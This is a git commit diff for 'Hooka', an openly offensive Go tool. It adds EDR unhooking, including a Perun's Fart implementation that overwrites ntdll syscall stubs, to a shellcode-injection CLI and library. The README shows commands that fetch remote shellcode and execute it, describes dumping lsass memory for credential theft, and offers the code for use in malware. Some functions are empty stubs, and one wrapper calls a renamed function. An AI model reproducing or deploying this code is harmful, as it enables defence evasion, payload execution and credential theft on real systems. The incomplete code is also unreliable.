more functions and implementations

This commit is contained in:
d3ext
2023-02-21 18:37:38 +01:00
parent f86e21cbb1
commit a94f0afc24
12 changed files with 508 additions and 45 deletions
+5
View File
@@ -0,0 +1,5 @@
- initial commit
- Create FUNDING.yml
- Update README.md
- Update README.md
- Initial commit
View File
+83 -7
View File
@@ -26,7 +26,11 @@ There isn't too much info about detecting Windows hooks in ***Golang*** so I dec
- Detects hooked functions (i.e. CreateRemoteThread)
- Compatible with base64 and hex encoded shellcode
- Hell's Gate technique
- Capable of unhooking functions
- Capable of unhooking functions via multiple techniques:
- Classic unhooking
- Full DLL unhooking
- Perun's Fart technique
- Multiple shellcode injection techniques:
- CreateRemoteThread
- Fibers
@@ -51,12 +55,45 @@ NtdllDialogWndProc_W
ZwQuerySystemTime
```
Just clone the repository like this:
- Just clone the repository like this:
```sh
git clone https://github.com/D3Ext/Hooka
```
> This is the help panel
```
_ _ _ _
| | | | ___ ___ | | __ __ _ | |
| |_| | / _ \ / _ \ | |/ / / _` | | |
| _ | | (_) | | (_) | | < | (_| | |_|
|_| |_| \___/ \___/ |_|\_\ \__,_| (_)
by D3Ext - v0.1
-b64
decode base64 encoded shellcode
-dll string
path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)
-file string
path to file where shellcode is stored
-hells
enable Hell's Gate technique to try to evade possible EDRs
-hex
decode hex encoded shellcode
-hooks
dinamically detect hooked functions by EDR
-lsass string
dump lsass.exe process memory into a file to extract credentials (run as admin)
-t string
shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (default: random)
-test
test shellcode injection capabilities by spawning a calc.exe
-unhook int
overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart
-url string
remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)
```
> Detect hooked functions by EDR (including false positives)
```sh
.\Hooka.exe --hooks
@@ -79,6 +116,16 @@ If no technique is especified it will use a random one
.\Hooka.exe -t Fibers --file shellcode.bin
```
> Decode shellcode from hex
```sh
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hex
```
> Decode shellcode from base64
```sh
.\Hooka.exe --file shellcode.bin --b64
```
> Inject shellcode using Hell's Gate
```sh
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells
@@ -86,16 +133,18 @@ If no technique is especified it will use a random one
> Unhook function before injecting shellcode
```sh
.\Hooka.exe -t OpenProcess --file shellcode.bin --unhook
.\Hooka.exe -t OpenProcess --file shellcode.bin --unhook 3
```
As you can see Hooka provides a lot of CLI flags to help you in all kind of situations
# Demo
> Detecting hooks
<img src="assets/hooks.png">
> Injecting shellcode via CreateRemoteThread
<img src="assets/test.png">
<img src="assets/crt.png">
> Test function
<img src="assets/test.png">
@@ -111,6 +160,8 @@ If no technique is especified it will use a random one
:black_square_button: Better error handling
:black_square_button: Test unhooking functions against some EDR
# Library
If you're looking to implement any function in your malware you can do it using the official package API:
@@ -161,12 +212,15 @@ import (
func main(){
// = CreateRemoteThread
proc, err := hooka.FuncFromHash("") // Returns a pointer to function like NewProc()
// 8c2beefa1c516d318252c9b1b45253e0549bb1c4 = CreateRemoteThread
// Returns a pointer to function like NewProc()
proc, err := hooka.FuncFromHash("8c2beefa1c516d318252c9b1b45253e0549bb1c4")
if err != nil {
log.Fatal(err)
}
// Now use the procedure as loading it from dll
proc.Call()
...
@@ -201,9 +255,25 @@ func main(){
}
```
> Unhook a function
> Unhook a function (3 ways)
```go
package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
err := hooka.ClassicUnhook("NtCreateThread", "C:\\Windows\\System32\\ntdll.dll")
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Function should have been unhooked!")
}
```
# Contributing
@@ -220,6 +290,8 @@ https://github.com/timwhitez/Doge-Gabh
https://github.com/Ne0nd0g/go-shellcode
https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions#checking-for-hooks
https://github.com/Kara-4search/HookDetection_CSharp
https://github.com/plackyhacker/Peruns-Fart
https://blog.sektor7.net/#!res/2021/perunsfart.md
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
```
@@ -229,6 +301,10 @@ Creator isn't in charge of any and has no responsibility for any kind of: illega
Use this project under your own responsability!
# Changelog
See [CHANGELOG.md](https://github.com/D3Ext/Hooka/blob/main/CHANGELOG.md)
# License
This project is licensed under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license
+104 -1
View File
@@ -6,12 +6,15 @@ import (
"fmt"
"time"
"bytes"
"strings"
"net/http"
"math/rand"
"io/ioutil"
"crypto/sha1"
"encoding/binary"
"golang.org/x/sys/windows"
// Third-party packages
"github.com/Binject/debug/pe"
)
@@ -95,7 +98,6 @@ func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and
}
// Convert string to Sha1 (used for hashing)
func StrToSha1(str string) (string) {
h := sha1.New()
h.Write([]byte(str))
@@ -103,4 +105,105 @@ func StrToSha1(str string) (string) {
return fmt.Sprintf("%x", bs)
}
/*
This code has been taken from BananaPhone and Doge-Gabh project
*/
type sstring struct {
Length uint16
MaxLength uint16
PWstr *uint16
}
func (s sstring) String() (string) {
return windows.UTF16PtrToString(s.PWstr)
}
func inMemLoads(modulename string) (uintptr, uintptr) {
s, si, p := gMLO(0)
start := p
i := 1
if (strings.Contains(strings.ToLower(p), strings.ToLower(modulename))) {
return s, si
}
for {
s, si, p = gMLO(i)
if p != "" {
if (strings.Contains(strings.ToLower(p), strings.ToLower(modulename))) {
return s, si
}
}
if (p == start) {
break
}
i++
}
return 0, 0
}
func findFirstSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int {
offset := 0
pattern1 := []byte{0x0f, 0x05, 0xc3}
pattern2 := []byte{0xcc, 0xcc, 0xcc}
// find first occurance of syscall+ret instructions
for i := 0; i < size-3; i++ {
instructions := []byte{pMem[i], pMem[i+1], pMem[i+2]}
if (instructions[0] == pattern1[0]) && (instructions[1] == pattern1[1]) && (instructions[2] == pattern1[2]) {
offset = i
break
}
}
// find the beginning of the syscall
for i := 3; i < 50; i++ {
instructions := []byte{pMem[offset-i], pMem[offset-i+1], pMem[offset-i+2]}
if (instructions[0] == pattern2[0]) && (instructions[1] == pattern2[1]) && (instructions[2] == pattern2[2]) {
offset = offset - i + 3
break
}
}
return offset
}
func findLastSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int {
offset := 0
pattern := []byte{0x0f, 0x05, 0xc3, 0xcd, 0x2e, 0xc3, 0xcc, 0xcc, 0xcc}
for i := size - 9; i > 0; i-- {
instructions := []byte{pMem[i], pMem[i+1], pMem[i+2], pMem[i+3], pMem[i+4], pMem[i+5], pMem[i+6], pMem[i+7], pMem[i+8]}
if (instructions[0] == pattern[0]) && (instructions[1] == pattern[1]) && (instructions[2] == pattern[2]) {
offset = i + 6
break
}
}
return offset
}
func gMLO(i int) (start uintptr, size uintptr, modulepath string) {
var badstring *sstring
start, size, badstring = getMLO(i)
modulepath = badstring.String()
return
}
//getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll.
func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring) {
return
}
+86
View File
@@ -0,0 +1,86 @@
package core
/*
This package exports all windows struct which are used
*/
type IMAGE_OPTIONAL_HEADER struct {
Magic uint16
MajorLinkerVersion uint8
MinorLinkerVersion uint8
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory [16]IMAGE_DATA_DIRECTORY
}
type IMAGE_DATA_DIRECTORY struct {
VirtualAddress uint32
Size uint32
}
type IMAGE_FILE_HEADER struct {
Machine uint16
NumberOfSections uint16
TimeDateStamp uint32
PointerToSymbolTable uint32
NumberOfSymbols uint32
SizeOfOptionalHeader uint16
Characteristics uint16
}
type IMAGE_NT_HEADER struct {
Signature uint32
FileHeader IMAGE_FILE_HEADER
OptionalHeader IMAGE_OPTIONAL_HEADER
}
type IMAGE_DOS_HEADER struct { // DOS .EXE header
E_magic uint16 // Magic number
E_cblp uint16 // Bytes on last page of file
E_cp uint16 // Pages in file
E_crlc uint16 // Relocations
E_cparhdr uint16 // Size of header in paragraphs
E_minalloc uint16 // Minimum extra paragraphs needed
E_maxalloc uint16 // Maximum extra paragraphs needed
E_ss uint16 // Initial (relative) SS value
E_sp uint16 // Initial SP value
E_csum uint16 // Checksum
E_ip uint16 // Initial IP value
E_cs uint16 // Initial (relative) CS value
E_lfarlc uint16 // File address of relocation table
E_ovno uint16 // Overlay number
E_res [4]uint16 // Reserved words
E_oemid uint16 // OEM identifier (for E_oeminfo)
E_oeminfo uint16 // OEM information; E_oemid specific
E_res2 [10]uint16 // Reserved words
E_lfanew uint16 // File address of new exe header
}
+4 -4
View File
@@ -10,14 +10,14 @@ import (
"flag"
)
func ParseFlags() (string, string, string, string, bool, bool, bool, bool, bool, bool, string) {
func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool, bool, string) {
var sc_url string
var sc_file string
var dll_file string
var technique string
var hook_detect bool
var hells bool
var unhook bool
var unhook int
var base64_flag bool
var hex_flag bool
var test_flag bool
@@ -26,10 +26,10 @@ func ParseFlags() (string, string, string, string, bool, bool, bool, bool, bool,
flag.StringVar(&sc_url, "url", "", "remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)")
flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored")
flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)")
flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (by default: random)")
flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (default: random)")
flag.BoolVar(&hook_detect, "hooks", false, "dinamically detect hooked functions by EDR")
flag.BoolVar(&hells, "hells", false, "enable Hell's Gate technique to try to evade possible EDRs")
flag.BoolVar(&unhook, "unhook", false, "overwrite syscall memory address to bypass EDR (if no function is hooked it doesn't do nothing)")
flag.IntVar(&unhook, "unhook", 0, "overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart")
flag.BoolVar(&base64_flag, "b64", false, "decode base64 encoded shellcode")
flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode")
flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe")
+1 -1
View File
@@ -11,7 +11,7 @@ https://github.com/C-Sto/BananaPhone
*/
import (
"fmt"
//"fmt"
"errors"
"strings"
+7 -6
View File
@@ -9,35 +9,36 @@ var techniques = []string{"CreateRemoteThread", "Fibers", "CreateProcess", "Earl
func InjectWithTechnique(shellcode []byte, technique string) (error) {
// Check especified injection technique
if (strings.ToLower(technique) == "createremotethread") {
err := CreateRemoteThread(shellcode)
if err != nil {
if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "fibers") {
err := Fibers(shellcode)
if err != nil {
if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "createprocess") {
err := CreateProcess(shellcode)
if err != nil {
if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "earlybirdapc") {
err := EarlyBirdApc(shellcode)
if err != nil {
if err != nil { // Handle error
return err
}
} else {
rand_n := RandomInt(3, 0)
rand_n := RandomInt(3, 0) // Choose a random technique
fmt.Println("[*] Injecting shellcode using " + techniques[rand_n] + " function")
err := InjectWithTechnique(shellcode, techniques[rand_n])
if err != nil {
if err != nil { // Handle error
return err
}
}
+112 -4
View File
@@ -9,14 +9,20 @@ https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-o
*/
import (
"fmt"
"time"
"bytes"
"strings"
"errors"
"unsafe"
"syscall"
"golang.org/x/sys/windows"
"github.com/Binject/debug/pe"
)
func Unhook(funcname string) (error) {
// This function unhooks given function of especified dll (NtCreateThread and C:\\Windows\\System32\\ntdll.dll)
func ClassicUnhook(funcname string, dllpath string) (error) {
// Load DLL APIs
k32 := syscall.NewLazyDLL("kernel32.dll")
@@ -27,7 +33,8 @@ func Unhook(funcname string) (error) {
var assembly_bytes []byte
ntdll_lib, _ := syscall.LoadLibrary("C:\\Windows\\System32\\ntdll.dll")
// should be full path: C:\\Windows\\System32\\ntdll.dll
ntdll_lib, _ := syscall.LoadLibrary(dllpath)
defer syscall.FreeLibrary(ntdll_lib)
procAddr, _ := syscall.GetProcAddress(ntdll_lib, funcname)
@@ -41,7 +48,8 @@ func Unhook(funcname string) (error) {
ownHandle, _, _ := getCurrentProcess.Call()
ntdll_ptr, _ := windows.UTF16PtrFromString("ntdll.dll")
// Convert dll name to pointer
ntdll_ptr, _ := windows.UTF16PtrFromString(strings.Split(dllpath, "\\")[3])
moduleHandle, _, _ := getModuleHandle.Call(uintptr(unsafe.Pointer(ntdll_ptr)))
func_ptr, _ := windows.UTF16PtrFromString(funcname)
@@ -53,4 +61,104 @@ func Unhook(funcname string) (error) {
return nil
}
func FullUnhook(dllpath string) (error) {
return nil
}
func PerunsUnhook() (error) {
var si syscall.StartupInfo
var pi syscall.ProcessInformation
si.Cb = uint32(unsafe.Sizeof(syscall.StartupInfo{}))
cmdline, err := syscall.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
if err != nil {
return err
}
err = syscall.CreateProcess(
nil,
cmdline,
nil,
nil,
false,
windows.CREATE_NEW_CONSOLE | windows.CREATE_SUSPENDED,
nil,
nil,
&si,
&pi,
)
if err != nil {
return err
}
time.Sleep(800 * time.Millisecond)
ntd, _ := inMemLoads(string([]byte{'n', 't', 'd', 'l', 'l'}))
if (ntd == 0) {
return errors.New("an error has ocurred while loading ntdll.dll")
}
addrMod := ntd
ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(addrMod + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(addrMod)).E_lfanew)))
if (ntHeader == nil) {
return errors.New("an error has ocurred while getting nt header")
}
time.Sleep(50 * time.Millisecond)
modSize := ntHeader.OptionalHeader.SizeOfImage
if (modSize == 0) {
return errors.New("an error has ocurred while getting nt header size")
}
cache := make([]byte, modSize)
var lpNumberOfBytesRead uintptr
err = windows.ReadProcessMemory(
windows.Handle(uintptr(pi.Process)),
addrMod,
&cache[0],
uintptr(modSize),
&lpNumberOfBytesRead,
)
if err != nil {
return err
}
e := syscall.TerminateProcess(pi.Process, 0)
if e != nil {
return e
}
time.Sleep(50 * time.Millisecond)
pe0, err := pe.NewFileFromMemory(bytes.NewReader(cache))
if err != nil {
return err
}
secHdr := pe0.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
startOffset := findFirstSyscallOffset(cache, int(secHdr.VirtualSize), addrMod)
endOffset := findLastSyscallOffset(cache, int(secHdr.VirtualSize), addrMod)
cleanSyscalls := cache[startOffset:endOffset]
var writenum uintptr
e = windows.WriteProcessMemory(
0xffffffffffffffff,
addrMod+uintptr(startOffset),
&cleanSyscalls[0],
uintptr(len(cleanSyscalls)),
&writenum,
)
if e != nil {
return e
}
return nil
}
+87 -20
View File
@@ -20,39 +20,44 @@ func main() {
var err error
// Parse CLI flags and retrieve values
sc_url, sc_file, dll_file, technique, hook_detect, _, _, base64_flag, hex_flag, test_flag, lsass := core.ParseFlags()
sc_url, sc_file, dll_file, technique, hook_detect, _, unhook, base64_flag, hex_flag, test_flag, lsass := core.ParseFlags()
l.PrintBanner("Hooka!")
l.Println(" by D3Ext - v0.1")
l.Println(" by D3Ext - v0.1")
time.Sleep(100 * time.Millisecond)
if (sc_url == "") && (sc_file == "") && (dll_file == "") && (!hook_detect) && (!test_flag) { // Enter here if any main flag was especified
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Parameters missing: provide a shellcode to inject (--file/--url/--dll), detect hooked functions (--hooks) or test program capabilities (--test)")
l.Println("\n[-] Parameters missing: provide a shellcode to inject (--file/--url/--dll), detect hooked functions (--hooks) or test program capabilities (--test)\n")
os.Exit(0)
} else if (sc_url != "") && (sc_file != "") && (dll_file == "") { // Check if both --url and --file flags were passed
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use --url and --file at the same time!")
l.Println("\n[-] Error: you can't use --url and --file at the same time!\n")
} else if (sc_url != "") && (sc_file == "") && (dll_file != "") { // Check if both --url and --dll flags were passed
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use --url and --dll at the same time!")
l.Println("\n[-] Error: you can't use --url and --dll at the same time!\n")
} else if (sc_url == "") && (sc_file != "") && (dll_file != "") { // Check if both --file and --dll flags were passed
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use --file and --dll at the same time!")
l.Println("\n[-] Error: you can't use --file and --dll at the same time!\n")
} else if (sc_url != "") && (sc_file == "") && (dll_file == "") {
if (base64_flag) && (hex_flag) { // Check if both flags were passed
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!")
l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!\n")
os.Exit(0)
}
if (unhook != 1) && (unhook != 2) && (unhook != 3) && (unhook != 0) {
l.Println("\n[-] Unknown unhooking technique! Allowed values: 1, 2, 3\n")
os.Exit(0)
}
@@ -94,6 +99,36 @@ func main() {
time.Sleep(300 * time.Millisecond)
}
// Unhook function(s)
if (unhook == 1) {
l.Println("[*] Unhooking functions via Classic technique...")
time.Sleep(200 * time.Millisecond)
err := core.ClassicUnhook(technique, "C:\\Windows\\System32\\ntdll.dll")
if err != nil {
l.Println("[-] An error has ocurred while unhooking functions!")
l.Fatal(err)
}
} else if (unhook == 2) {
l.Println("[*] Unhooking functions via Full Dll technique...")
time.Sleep(200 * time.Millisecond)
err := core.FullUnhook("ntdll.dll")
if err != nil {
l.Println("[-] An error has ocurred while unhooking functions!")
l.Fatal(err)
}
} else if (unhook == 3) {
l.Println("[*] Unhooking functions via Perun's Fart technique...")
time.Sleep(200 * time.Millisecond)
err := core.PerunsUnhook()
if err != nil {
l.Println("[-] An error has ocurred while unhooking functions!")
l.Fatal(err)
}
}
if (technique != "") {
l.Println("[*] Injecting shellcode using " + technique + " function")
}
@@ -102,20 +137,20 @@ func main() {
if err != nil { // Handle error
l.Fatal(err)
}
l.Println("[+] Shellcode should have been executed without errors!")
l.Println("[+] Shellcode should have been executed without errors!\n")
} else if (sc_file != "") && (sc_url == "") && (dll_file == "") {
if (base64_flag) && (hex_flag) { // Check if both flags were passed
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!")
l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!\n")
os.Exit(0)
}
_, err := os.Stat(sc_file) // Check if file exists
if os.IsNotExist(err) {
l.Println("\n[-] Especified file doesn't exist!")
l.Println("\n[-] Especified file doesn't exist!\n")
time.Sleep(100 * time.Millisecond)
os.Exit(0)
}
@@ -158,7 +193,37 @@ func main() {
time.Sleep(300 * time.Millisecond)
}
if technique != "" {
// Unhook function(s)
if (unhook == 1) {
l.Println("[*] Unhooking functions via Classic technique...")
time.Sleep(200 * time.Millisecond)
err := core.ClassicUnhook(technique, "C:\\Windows\\System32\\ntdll.dll")
if err != nil { // Handle error
l.Println("[-] An error has ocurred while unhooking functions!")
l.Fatal(err)
}
} else if (unhook == 2) {
l.Println("[*] Unhooking functions via Full Dll technique...")
time.Sleep(200 * time.Millisecond)
err := core.FullUnhook("ntdll.dll")
if err != nil { // Handle error
l.Println("[-] An error has ocurred while unhooking functions!")
l.Fatal(err)
}
} else if (unhook == 3) {
l.Println("[*] Unhooking functions via Perun's Fart technique...")
time.Sleep(200 * time.Millisecond)
err := core.PerunsUnhook()
if err != nil { // Handle error
l.Println("[-] An error has ocurred while unhooking functions!")
l.Fatal(err)
}
}
if (technique != "") {
l.Println("[*] Injecting shellcode using " + technique + " technique")
}
@@ -166,7 +231,7 @@ func main() {
if err != nil { // Handle error
l.Fatal(err)
}
l.Println("[+] Shellcode should have been executed without errors!")
l.Println("[+] Shellcode should have been executed without errors!\n")
} else if (sc_url == "") && (sc_file == "") && (dll_file != "") {
@@ -175,7 +240,7 @@ func main() {
_, err := os.Stat(dll_filename) // Check if especified dll exists
if os.IsNotExist(err) {
l.Println("\n[-] Especified DLL doesn't exists!")
l.Println("\n[-] Especified DLL doesn't exists!\n")
time.Sleep(100 * time.Millisecond)
os.Exit(0)
}
@@ -203,28 +268,30 @@ func main() {
if err != nil { // Handle error
l.Fatal(err)
}
l.Println("[+] Shellcode should have been executed without errors")
l.Println("[+] Shellcode should have been executed without errors!\n")
} else if (sc_url == "") && (sc_file == "") && (dll_file == "") && (hook_detect) { // Enter here if --hooks flag was especified
l.Println("\n[*] Detecting hooked functions...")
all_hooks, err := core.DetectHooks() // Get all hooked functions
if err != nil {
if err != nil { // Handle error
l.Fatal(err)
}
l.Println("[+] Process finished")
if len(all_hooks) >= 1 { // Check if hooks array contains at least one function
l.Println("[*] Hooked functions:")
time.Sleep(200 * time.Millisecond)
l.Println("[*] Hooked functions:\n")
for _, h := range all_hooks {
l.Println(h)
}
l.Println()
time.Sleep(200 * time.Millisecond)
} else {
time.Sleep(200 * time.Millisecond)
l.Println("[+] No function is hooked!")
l.Println("[+] No function is hooked!\n")
time.Sleep(100 * time.Millisecond)
}
@@ -237,18 +304,18 @@ func main() {
if err != nil { // Handle error
l.Fatal(err)
}
l.Println("[+] Shellcode should have been executed!")
l.Println("[+] Shellcode should have been executed!\n")
} else if (lsass != "") { // Enter here if --lsass flag was especified
l.Println("[*] Dumping lsass process to " + lsass)
err := core.DumpLsass(lsass)
if err != nil {
if err != nil { // Handle error
l.Println("[-] An error has ocurred, ensure to be running as admin:")
l.Fatal(err)
}
l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials")
l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials\n")
time.Sleep(100 * time.Millisecond)
}
}
+8
View File
@@ -0,0 +1,8 @@
package hooka
import "github.com/D3Ext/Hooka/core"
func HellsGate(funcname string) (error) {
return core.HellsGate(funcname)
}
+11 -2
View File
@@ -2,7 +2,16 @@ package hooka
import "github.com/D3Ext/Hooka/core"
func Unhook(funcname string) (error) {
return core.Unhook(funcname)
func ClassicUnhook(funcname string, dllpath string) (error) {
return core.Unhook(funcname, dllpath)
}
func FullUnhook(funcname string) (error) {
return core.FullUnhook(funcname)
}
func PerunsUnhook() (error) {
return core.PerunsUnhook()
}